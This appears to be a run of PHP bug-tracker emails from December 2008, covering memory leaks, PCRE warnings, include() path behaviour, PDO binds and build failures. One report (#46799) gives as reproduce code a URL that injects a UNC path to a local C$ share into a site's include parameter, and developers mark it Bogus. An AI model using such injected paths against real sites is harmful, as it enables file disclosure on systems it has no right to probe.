(op_array=0xb9a5c364) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #3 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf8552b8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #4 0xb72d803b in execute (op_array=0xb9a5bb8c) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #5 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf8555c8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #6 0xb72d803b in execute (op_array=0xb99d71b0) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #7 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf855e18) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #8 0xb72d803b in execute (op_array=0xb9a17614) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #9 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf856248) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #10 0xb72d803b in execute (op_array=0xb9a17d94) ---Type to continue, or q to quit--- at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #11 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf8565d8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #12 0xb72d803b in execute (op_array=0xb9a06ca0) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #13 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf856a08) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #14 0xb72d803b in execute (op_array=0xb9a0d344) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #15 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf856cf8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #16 0xb72d803b in execute (op_array=0xb99f1c8c) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #17 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf856ef8) at /build/buildd/php5-5.2.6/Zend/zend_vm
#46798 [NEW]: memory leaks in mssql extension
From: v dot orlov at ulab dot ru
Operating system: FreeBSD 6.3
PHP version: 5.2.7
PHP Bug Type: MSSQL related
Bug description: memory leaks in mssql extension
Description:
When exec simple queries to 'MS SQL 2000' I encounter warnings about
memory leaks in apache error log, see below.
Versions:
System FreeBSD 6.3 i386
freetds-0.64_2 (from ports)
apache 1.3.41
php 5.2.6 (5.2.7 has been removed from distribution)
suhosin patch 5.2.6-0.9.6.2
apache & php builded manually (not from ports)
Note: without suhosin patch call mssql_query crashing apache (segfault).
Reproduce code:
---
./configure --with-mssql=/usr/local --with-unixODBC
--with-apxs=/www/bin/apxs --enable-session --with-iconv --with-mm
--with-pcre-regex --with-pcre-dir --with-gd --with-png-dir --prefix=/www
--enable-debug
code like:
msql_connect("dbserver")
$res = mssql_query("select NewsID from News");
Expected result:
workable mssql module
Actual result:
--
error log with suhosin patch and --debug flag
/root/apache-install/php-5.2.6/Zend/zend_variables.h(35) : Block
0x08123528 status:
/root/apache-install/php-5.2.6/Zend/zend_variables.c(36) : Actual location
(location was relayed)
Beginning: OK (allocated on
/root/apache-install/php-5.2.6/ext/mssql/php_mssql.c:980, 5 bytes)
Start: OK
End: Overflown (magic=0x instead of 0xFBA28207)
1 byte(s) overflown
---
[Mon Dec 8 19:55:01 2008] Script: '/usr/local/www/infopin/index.php'
---
/root/apache-install/php-5.2.6/Zend/zend_variables.h(35) : Block
0x08123498 status:
/root/apache-install/php-5.2.6/Zend/zend_variables.c(36) : Actual location
(location was relayed)
Beginning: OK (allocated on
/root/apache-install/php-5.2.6/ext/mssql/php_mssql.c:980, 5 bytes)
Start: OK
End: Overflown (magic=0x instead of 0xFBA28207)
1 byte(s) overflown
---
[Mon Dec 8 19:55:01 2008] Script: '/usr/local/www/infopin/index.php'
/root/apache-install/php-5.2.6/ext/mssql/php_mssql.c(980) : Freeing
0x0810F1B0 (5 bytes), script=/usr/local/www/infopin/index.php
Last leak repeated 16 times
=== Total 17 memory leaks detected ===
--
Edit bug report at http://bugs.php.net/?id=46798&edit=1
--
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=46798&r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=46798&r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=46798&r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=46798&r=fixedcvs
Fixed in CVS and need be documented:
http://bugs.php.net/fix.php?id=46798&r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=46798&r=alreadyfixed
Need backtrace:
http://bugs.php.net/fix.php?id=46798&r=needtrace
Need Reproduce Script:
http://bugs.php.net/fix.php?id=46798&r=needscript
Try newer version:
http://bugs.php.net/fix.php?id=46798&r=oldversion
Not developer issue:
http://bugs.php.net/fix.php?id=46798&r=support
Expected behavior:
http://bugs.php.net/fix.php?id=46798&r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=46798&r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=46798&r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=46798&r=globals
PHP 4 support discontinued: http://bugs.php.net/fix.php?id=46798&r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=46798&r=dst
IIS Stability:
http://bugs.php.net/fix.php?id=46798&r=isapi
Install GNU Sed:
http://bugs.php.net/fix.php?id=46798&r=gnused
Floating point limitations:
http://bugs.php.net/fix.php?id=46798&r=float
No Zend Extensions:
http://bugs.php.net/fix.php?id=46798&r=nozend
MySQL Configuration Error:
http://bugs.php.net/fix.php?id=46798&r=mysqlcfg
#46799 [NEW]: PHP allow_url_fopen bypass Vulnerability
From: gz_wangyu at topsec dot com dot cn Operating system: Windows PHP version: 5.2.7 PHP Bug Type: *URL Functions Bug description: PHP allow_url_fopen bypass Vulnerability Description: hi, please Help write the overview. Reproduce code: --- http://topsec.com.cn/include.php?path=file:///\\127.0.0.1\c$\ Actual result: -- result: ok! -- Edit bug report at http://bugs.php.net/?id=46799&edit=1 -- Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=46799&r=trysnapshot52 Try a CVS snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=46799&r=trysnapshot53 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=46799&r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=46799&r=fixedcvs Fixed in CVS and need be documented: http://bugs.php.net/fix.php?id=46799&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=46799&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=46799&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=46799&r=needscript Try newer version: http://bugs.php.net/fix.php?id=46799&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=46799&r=support Expected behavior: http://bugs.php.net/fix.php?id=46799&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=46799&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=46799&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=46799&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=46799&r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=46799&r=dst IIS Stability: http://bugs.php.net/fix.php?id=46799&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=46799&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=46799&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=46799&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=46799&r=mysqlcfg
#46800 [NEW]: Warining on ~[^\\pL0-9_]+~u
From: svoboda at svoon dot net
Operating system: debian etch
PHP version: 5.2.7
PHP Bug Type: *Regular Expressions
Bug description: Warining on ~[^\\pL0-9_]+~u
Description:
this code:
preg_replace('~[^\\pL0-9_]+~u', '-', $url);
results in:
Warning: preg_replace() [function.preg-replace]: Compilation failed:
unknown property name after \P or \p at offset 4 in functions.inc.php
in 5.2.6 version it works fine
ondrej
--
Edit bug report at http://bugs.php.net/?id=46800&edit=1
--
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=46800&r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=46800&r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=46800&r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=46800&r=fixedcvs
Fixed in CVS and need be documented:
http://bugs.php.net/fix.php?id=46800&r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=46800&r=alreadyfixed
Need backtrace:
http://bugs.php.net/fix.php?id=46800&r=needtrace
Need Reproduce Script:
http://bugs.php.net/fix.php?id=46800&r=needscript
Try newer version:
http://bugs.php.net/fix.php?id=46800&r=oldversion
Not developer issue:
http://bugs.php.net/fix.php?id=46800&r=support
Expected behavior:
http://bugs.php.net/fix.php?id=46800&r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=46800&r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=46800&r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=46800&r=globals
PHP 4 support discontinued: http://bugs.php.net/fix.php?id=46800&r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=46800&r=dst
IIS Stability:
http://bugs.php.net/fix.php?id=46800&r=isapi
Install GNU Sed:
http://bugs.php.net/fix.php?id=46800&r=gnused
Floating point limitations:
http://bugs.php.net/fix.php?id=46800&r=float
No Zend Extensions:
http://bugs.php.net/fix.php?id=46800&r=nozend
MySQL Configuration Error:
http://bugs.php.net/fix.php?id=46800&r=mysqlcfg
#46801 [NEW]: include() searches wrong directory according to the doc
From: tomas at matfyz dot cz Operating system: Linux PHP version: 5.2.7 PHP Bug Type: *General Issues Bug description: include() searches wrong directory according to the doc Description: In the documentation (http://cz.php.net/manual/en/function.include.php) is the following statement: "... E.g. if your include_path is libraries, current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/libraries/ and then in /www/include/. ..." This is not true. There is either a bug in the documentation or in the PHP. Tested on 5.2.0-8+etch11. Reproduce code: --- Please see http://artax.karlin.mff.cuni.cz/~ttel5535/obs/pok_require_dirs3/report/www/use.php . The source code is in multiple directories, you can download it from there. Expected result: www/include/a.php: fun_a() www/include/b.php: fun_b() Actual result: -- www/include/a.php: fun_a() www/b.php: fun_b() According to the documentation, the file www/include/b.php should be included! -- Edit bug report at http://bugs.php.net/?id=46801&edit=1 -- Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=46801&r=trysnapshot52 Try a CVS snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=46801&r=trysnapshot53 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=46801&r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=46801&r=fixedcvs Fixed in CVS and need be documented: http://bugs.php.net/fix.php?id=46801&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=46801&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=46801&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=46801&r=needscript Try newer version: http://bugs.php.net/fix.php?id=46801&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=46801&r=support Expected behavior: http://bugs.php.net/fix.php?id=46801&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=46801&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=46801&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=46801&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=46801&r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=46801&r=dst IIS Stability: http://bugs.php.net/fix.php?id=46801&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=46801&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=46801&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=46801&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=46801&r=mysqlcfg
#46801 [Com]: include() searches wrong directory according to the doc
ID: 46801 Comment by: tomas at matfyz dot cz Reported By: tomas at matfyz dot cz Status: Open Bug Type: *General Issues Operating System: Linux PHP Version: 5.2.7 New Comment: Sorry, the correct link is http://artax.karlin.mff.cuni.cz/~ttel5535/obs/pok_require_dirs3/report/www/use.php Previous Comments: [2008-12-08 19:50:54] tomas at matfyz dot cz Description: In the documentation (http://cz.php.net/manual/en/function.include.php) is the following statement: "... E.g. if your include_path is libraries, current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/libraries/ and then in /www/include/. ..." This is not true. There is either a bug in the documentation or in the PHP. Tested on 5.2.0-8+etch11. Reproduce code: --- Please see http://artax.karlin.mff.cuni.cz/~ttel5535/obs/pok_require_dirs3/report/www/use.php . The source code is in multiple directories, you can download it from there. Expected result: www/include/a.php: fun_a() www/include/b.php: fun_b() Actual result: -- www/include/a.php: fun_a() www/b.php: fun_b() According to the documentation, the file www/include/b.php should be included! -- Edit this bug report at http://bugs.php.net/?id=46801&edit=1
#46801 [Com]: include() searches wrong directory according to the doc
ID: 46801 Comment by: tomas at matfyz dot cz Reported By: tomas at matfyz dot cz Status: Open Bug Type: *General Issues Operating System: Linux PHP Version: 5.2.7 New Comment: I can't help it, the link is being wrapped by this website, you must re-construct it. Previous Comments: [2008-12-08 19:56:12] tomas at matfyz dot cz Sorry, the correct link is http://artax.karlin.mff.cuni.cz/~ttel5535/obs/pok_require_dirs3/report/www/use.php [2008-12-08 19:50:54] tomas at matfyz dot cz Description: In the documentation (http://cz.php.net/manual/en/function.include.php) is the following statement: "... E.g. if your include_path is libraries, current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/libraries/ and then in /www/include/. ..." This is not true. There is either a bug in the documentation or in the PHP. Tested on 5.2.0-8+etch11. Reproduce code: --- Please see http://artax.karlin.mff.cuni.cz/~ttel5535/obs/pok_require_dirs3/report/www/use.php . The source code is in multiple directories, you can download it from there. Expected result: www/include/a.php: fun_a() www/include/b.php: fun_b() Actual result: -- www/include/a.php: fun_a() www/b.php: fun_b() According to the documentation, the file www/include/b.php should be included! -- Edit this bug report at http://bugs.php.net/?id=46801&edit=1
#46802 [NEW]: php-5.2.6-win32-installer.msi incomplete.
From: editoria dot francisco at gmail dot com Operating system: Windows 2000 PHP version: 5.2.7 PHP Bug Type: Windows Installer Bug description: php-5.2.6-win32-installer.msi incomplete. Description: I not found php_mbstring.dll into php-5.2.6-win32-installer.msi. -- Edit bug report at http://bugs.php.net/?id=46802&edit=1 -- Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=46802&r=trysnapshot52 Try a CVS snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=46802&r=trysnapshot53 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=46802&r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=46802&r=fixedcvs Fixed in CVS and need be documented: http://bugs.php.net/fix.php?id=46802&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=46802&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=46802&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=46802&r=needscript Try newer version: http://bugs.php.net/fix.php?id=46802&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=46802&r=support Expected behavior: http://bugs.php.net/fix.php?id=46802&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=46802&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=46802&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=46802&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=46802&r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=46802&r=dst IIS Stability: http://bugs.php.net/fix.php?id=46802&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=46802&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=46802&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=46802&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=46802&r=mysqlcfg
#46802 [Com]: php-5.2.6-win32-installer.msi incomplete.
ID: 46802 Comment by: editoria dot francisco at gmail dot com Reported By: editoria dot francisco at gmail dot com Status: Open Bug Type: Windows Installer Operating System: Windows 2000 PHP Version: 5.2.7 New Comment: Note! Bug report not has [Version: 5.2.6]. Previous Comments: [2008-12-08 20:30:55] editoria dot francisco at gmail dot com Description: I not found php_mbstring.dll into php-5.2.6-win32-installer.msi. -- Edit this bug report at http://bugs.php.net/?id=46802&edit=1
#46801 [Opn]: include() searches wrong directory according to the doc
ID: 46801 User updated by: tomas at matfyz dot cz Reported By: tomas at matfyz dot cz Status: Open Bug Type: *General Issues Operating System: Linux PHP Version: 5.2.7 New Comment: Note that I would appreciate the behaviour described in the documentation. It seems more logical and more useful than the current behaviour, because there is a risk that local file will override the internal file in the 'include/' dir! The libraries (in this case the sources under 'include/' dir) are compact sets of sources which include themselves and of course do not take into account the files in the user's dir. Previous Comments: [2008-12-08 19:57:23] tomas at matfyz dot cz I can't help it, the link is being wrapped by this website, you must re-construct it. [2008-12-08 19:56:12] tomas at matfyz dot cz Sorry, the correct link is http://artax.karlin.mff.cuni.cz/~ttel5535/obs/pok_require_dirs3/report/www/use.php [2008-12-08 19:50:54] tomas at matfyz dot cz Description: In the documentation (http://cz.php.net/manual/en/function.include.php) is the following statement: "... E.g. if your include_path is libraries, current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/libraries/ and then in /www/include/. ..." This is not true. There is either a bug in the documentation or in the PHP. Tested on 5.2.0-8+etch11. Reproduce code: --- Please see http://artax.karlin.mff.cuni.cz/~ttel5535/obs/pok_require_dirs3/report/www/use.php . The source code is in multiple directories, you can download it from there. Expected result: www/include/a.php: fun_a() www/include/b.php: fun_b() Actual result: -- www/include/a.php: fun_a() www/b.php: fun_b() According to the documentation, the file www/include/b.php should be included! -- Edit this bug report at http://bugs.php.net/?id=46801&edit=1
#46803 [NEW]: Sqlite-PDO prepared statement doesn't return any rows when used with bind vars
From: scaligo at pt dot lu
Operating system: Linux x86_64
PHP version: 5.2.7
PHP Bug Type: PDO related
Bug description: Sqlite-PDO prepared statement doesn't return any rows when
used with bind vars
Description:
A PDO prepared statement doesn't return any results for a given query
performed with bind variables, but works fine when used without. A same
value is used twice and the workaround for WONTFIX #33886 has been
applied.
The initial query (with bind variables) returns the expected results in
another environment (Ruby/SQLite3).
Reproduced on vanilla 5.2.7 and 5.3.0 alpha 3, x86_64.
Compile flags (5.2.7):
./configure \
--enable-debug \
--enable-cli \
--disable-cgi \
--disable-all \
--enable-pdo \
--with-pdo-sqlite \
--enable-sqlite-utf8
Reproduce code:
---
Test case:
http://nopaste.ch/855d0d151ef8216.html
Query:
SELECT u.login, c.code
FROM codes c, users u
WHERE u.id = c.user_id
AND substr(c.code, 1, min(length(c.code), :LEN1)) = substr(:CODE, 1,
min(length(c.code), :LEN2))
Binds:
$statement->bindValue(':CODE', '111-222-', PDO::PARAM_STR);
$statement->bindValue(':LEN1', 8, PDO::PARAM_INT);
$statement->bindValue(':LEN2', 8, PDO::PARAM_INT);
Expected result:
The query should find the same rows with and without using bind variables.
Actual result:
--
The query returns no rows when used with bind variables and two rows
without. No errors are reported by errorInfo().
The query behaved correctly when only binding :CODE and replacing :LEN1
and :LEN2 by their actual value.
--
Edit bug report at http://bugs.php.net/?id=46803&edit=1
--
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=46803&r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=46803&r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=46803&r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=46803&r=fixedcvs
Fixed in CVS and need be documented:
http://bugs.php.net/fix.php?id=46803&r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=46803&r=alreadyfixed
Need backtrace:
http://bugs.php.net/fix.php?id=46803&r=needtrace
Need Reproduce Script:
http://bugs.php.net/fix.php?id=46803&r=needscript
Try newer version:
http://bugs.php.net/fix.php?id=46803&r=oldversion
Not developer issue:
http://bugs.php.net/fix.php?id=46803&r=support
Expected behavior:
http://bugs.php.net/fix.php?id=46803&r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=46803&r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=46803&r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=46803&r=globals
PHP 4 support discontinued: http://bugs.php.net/fix.php?id=46803&r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=46803&r=dst
IIS Stability:
http://bugs.php.net/fix.php?id=46803&r=isapi
Install GNU Sed:
http://bugs.php.net/fix.php?id=46803&r=gnused
Floating point limitations:
http://bugs.php.net/fix.php?id=46803&r=float
No Zend Extensions:
http://bugs.php.net/fix.php?id=46803&r=nozend
MySQL Configuration Error:
http://bugs.php.net/fix.php?id=46803&r=mysqlcfg
#46779 [Opn->Bgs]: Compilation failed in preg_replace for Unicode character properties
ID: 46779
Updated by: [EMAIL PROTECTED]
Reported By: dytrych at webovy-servis dot cz
-Status: Open
+Status: Bogus
Bug Type: PCRE related
Operating System: Debian GNU/Linux 2.6.23.17
PHP Version: 5.2.7
New Comment:
I can't reproduce this problem.
My guess is that you are linking against your system's PCRE library
(which can be confirmed by checking if pcre appears in output of "ldd
`which php`") instead of using the bundled version. If that is the case,
then your library was compiled without unicode support.
Previous Comments:
[2008-12-06 11:24:51] dytrych at webovy-servis dot cz
Description:
Unicode character properties doesn't work in preg_replace (since PHP
5.2.7).
PCRE (Perl Compatible Regular Expressions) Support enabled
PCRE Library Version: 7.8 2008-09-05
Results with phpinfo: http://seo-servis.cz/testpl.php
Reproduce code:
---
echo preg_replace("~[^\\pL]+~u", '-', "a 3");
echo preg_replace('~[^\\p{L}]+~u', '-', "a 3");
Expected result:
a-3
a-3
Actual result:
--
Warning: preg_replace() [function.preg-replace]: Compilation failed:
unknown property name after \P or \p at offset 4 in xxx on line 3
Warning: preg_replace() [function.preg-replace]: Compilation failed:
unknown property name after \P or \p at offset 6 in xxx on line 4
--
Edit this bug report at http://bugs.php.net/?id=46779&edit=1
#46799 [Opn->Bgs]: PHP allow_url_fopen bypass Vulnerability
ID: 46799 Updated by: [EMAIL PROTECTED] Reported By: gz_wangyu at topsec dot com dot cn -Status: Open +Status: Bogus Bug Type: *URL Functions Operating System: Windows PHP Version: 5.2.7 New Comment: Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Due to the volume of reports we can not explain in detail here why your report is not a bug. The support channels will be able to provide an explanation for you. Thank you for your interest in PHP. Previous Comments: [2008-12-08 18:39:44] gz_wangyu at topsec dot com dot cn Description: hi, please Help write the overview. Reproduce code: --- http://topsec.com.cn/include.php?path=file:///\\127.0.0.1\c$\ Actual result: -- result: ok! -- Edit this bug report at http://bugs.php.net/?id=46799&edit=1
#46801 [Opn->Fbk]: include() searches wrong directory according to the doc
ID: 46801 Updated by: [EMAIL PROTECTED] Reported By: tomas at matfyz dot cz -Status: Open +Status: Feedback Bug Type: *General Issues Operating System: Linux PHP Version: 5.2.7 New Comment: Please try using this CVS snapshot: http://snaps.php.net/php5.2-latest.tar.gz For Windows: http://windows.php.net/snapshots/ Previous Comments: [2008-12-08 20:40:15] tomas at matfyz dot cz Note that I would appreciate the behaviour described in the documentation. It seems more logical and more useful than the current behaviour, because there is a risk that local file will override the internal file in the 'include/' dir! The libraries (in this case the sources under 'include/' dir) are compact sets of sources which include themselves and of course do not take into account the files in the user's dir. [2008-12-08 19:57:23] tomas at matfyz dot cz I can't help it, the link is being wrapped by this website, you must re-construct it. [2008-12-08 19:56:12] tomas at matfyz dot cz Sorry, the correct link is http://artax.karlin.mff.cuni.cz/~ttel5535/obs/pok_require_dirs3/report/www/use.php [2008-12-08 19:50:54] tomas at matfyz dot cz Description: In the documentation (http://cz.php.net/manual/en/function.include.php) is the following statement: "... E.g. if your include_path is libraries, current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/libraries/ and then in /www/include/. ..." This is not true. There is either a bug in the documentation or in the PHP. Tested on 5.2.0-8+etch11. Reproduce code: --- Please see http://artax.karlin.mff.cuni.cz/~ttel5535/obs/pok_require_dirs3/report/www/use.php . The source code is in multiple directories, you can download it from there. Expected result: www/include/a.php: fun_a() www/include/b.php: fun_b() Actual result: -- www/include/a.php: fun_a() www/b.php: fun_b() According to the documentation, the file www/include/b.php should be included! -- Edit this bug report at http://bugs.php.net/?id=46801&edit=1
#46797 [Opn->Bgs]: APC fails to compile
ID: 46797 Updated by: [EMAIL PROTECTED] Reported By: stanlemon at mac dot com -Status: Open +Status: Bogus Bug Type: Compile Failure Operating System: Mac OS X 10.5.5 PHP Version: 5.3.0alpha3 New Comment: Please report bugs in PECL extensions at the pecl website: http://pecl.php.net/ Previous Comments: [2008-12-08 16:41:40] stanlemon at mac dot com Description: When trying to compile APC for PHP 5.3.0alpha3 on Mac OS X 10.5.5 with Apache 2.2.10prefork compilation fails. Reproduce code: --- Lil-Lemon:APC-3.0.19 stan$ /usr/local/php/bin/phpize Configuring for: PHP Api Version: 20041225 Zend Module Api No: 20071006 Zend Extension Api No: 220070929 Lil-Lemon:APC-3.0.19 stan$ ./configure --prefix=/usr/local/php && make checking for grep that handles long lines and -e... /usr/bin/grep checking for egrep... /usr/bin/grep -E checking for a sed that does not truncate output... /usr/bin/sed checking for cc... cc checking for C compiler default output file name... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables... checking for suffix of object files... o checking whether we are using the GNU C compiler... yes checking whether cc accepts -g... yes checking for cc option to accept ISO C89... none needed checking how to run the C preprocessor... cc -E checking for icc... no checking for suncc... no checking whether cc understands -c and -o together... yes checking for system library directory... lib checking if compiler supports -R... no checking if compiler supports -Wl,-rpath,... yes checking build system type... i686-apple-darwin9.5.0 checking host system type... i686-apple-darwin9.5.0 checking target system type... i686-apple-darwin9.5.0 checking for PHP prefix... /usr/local/php-5.3.0alpha3 checking for PHP includes... -I/usr/local/php-5.3.0alpha3/include/php -I/usr/local/php-5.3.0alpha3/include/php/main -I/usr/local/php-5.3.0alpha3/include/php/TSRM -I/usr/local/php-5.3.0alpha3/include/php/Zend -I/usr/local/php-5.3.0alpha3/include/php/ext -I/usr/local/php-5.3.0alpha3/include/php/ext/date/lib checking for PHP extension directory... /usr/local/php-5.3.0alpha3/lib/php/extensions/no-debug-non-zts-20071006 checking for PHP installed headers prefix... /usr/local/php-5.3.0alpha3/include/php checking if debug is enabled... no checking if zts is enabled... no checking for re2c... no configure: WARNING: You will need re2c 0.13.4 or later if you want to regenerate PHP parsers. checking for gawk... no checking for nawk... no checking for awk... awk checking if awk is broken... no checking whether apc needs to get compiler flags from apxs... no checking whether to enable APC support... yes, shared checking Checking whether we should enable cache request file info... no checking Checking whether we should use mmap... yes checking Checking whether we should use semaphore locking instead of fcntl... no checking Checking whether we should use futex locking... no checking Checking whether we should use pthread mutex locking... yes Unable to set PTHREAD_PROCESS_SHARED (pthread_mutexattr_setpshared), your system may not support shared mutex's. configure: WARNING: It doesn't appear that pthread mutex's are supported on your system checking Checking whether we should use spin locks... no checking for sigaction... yes checking for union semun... yes checking whether we should enable valgrind support... no checking for shm_open in -lrt... no checking for ld used by cc... /usr/libexec/gcc/i686-apple-darwin9/4.0.1/ld checking if the linker (/usr/libexec/gcc/i686-apple-darwin9/4.0.1/ld) is GNU ld... no checking for /usr/libexec/gcc/i686-apple-darwin9/4.0.1/ld option to reload object files... -r checking for BSD-compatible nm... /usr/bin/nm -p checking whether ln -s works... yes checking how to recognise dependent libraries... pass_all checking dlfcn.h usability... yes checking dlfcn.h presence... yes checking for dlfcn.h... yes checking the maximum length of command line arguments... 196608 checking command to parse /usr/bin/nm -p output from cc object... ok checking for objdir... .libs checking for ar... ar checking for ranlib... ranlib checking for strip... strip checking if cc static flag works... yes checking if cc supports -fno-rtti -fno-exceptions... no checking for cc option to produce PIC... -fno-common checking if cc PIC flag -fno-common works... yes checking if cc supports -c -o file.o... yes checking whether the cc linker (/usr/libexec/gcc/i686-apple-darwin9/4.0.1/ld) supports shared libraries... yes checking dynamic linker characteristics... darwin9.5.0 dyld checking how to hardcode library paths into programs... immediate checking whether stripping libraries is possible... yes checking if libtool supports shared libraries... yes checking whether to build shared
#46800 [Opn->Fbk]: Warning on ~[^\\pL0-9_]+~u
ID: 46800
Updated by: [EMAIL PROTECTED]
Reported By: svoboda at svoon dot net
-Status: Open
+Status: Feedback
Bug Type: PCRE related
Operating System: debian etch
PHP Version: 5.2.7
New Comment:
Please try using this CVS snapshot:
http://snaps.php.net/php5.2-latest.tar.gz
For Windows:
http://windows.php.net/snapshots/
And use this configure line:
# ./configure --disable-all --disable-cgi --with-pcre-regex
Previous Comments:
[2008-12-08 19:04:21] svoboda at svoon dot net
Description:
this code:
preg_replace('~[^\\pL0-9_]+~u', '-', $url);
results in:
Warning: preg_replace() [function.preg-replace]: Compilation failed:
unknown property name after \P or \p at offset 4 in functions.inc.php
in 5.2.6 version it works fine
ondrej
--
Edit this bug report at http://bugs.php.net/?id=46800&edit=1
#46753 [Opn->Fbk]: weird crash when calling is_subclass_of under very specific conditions
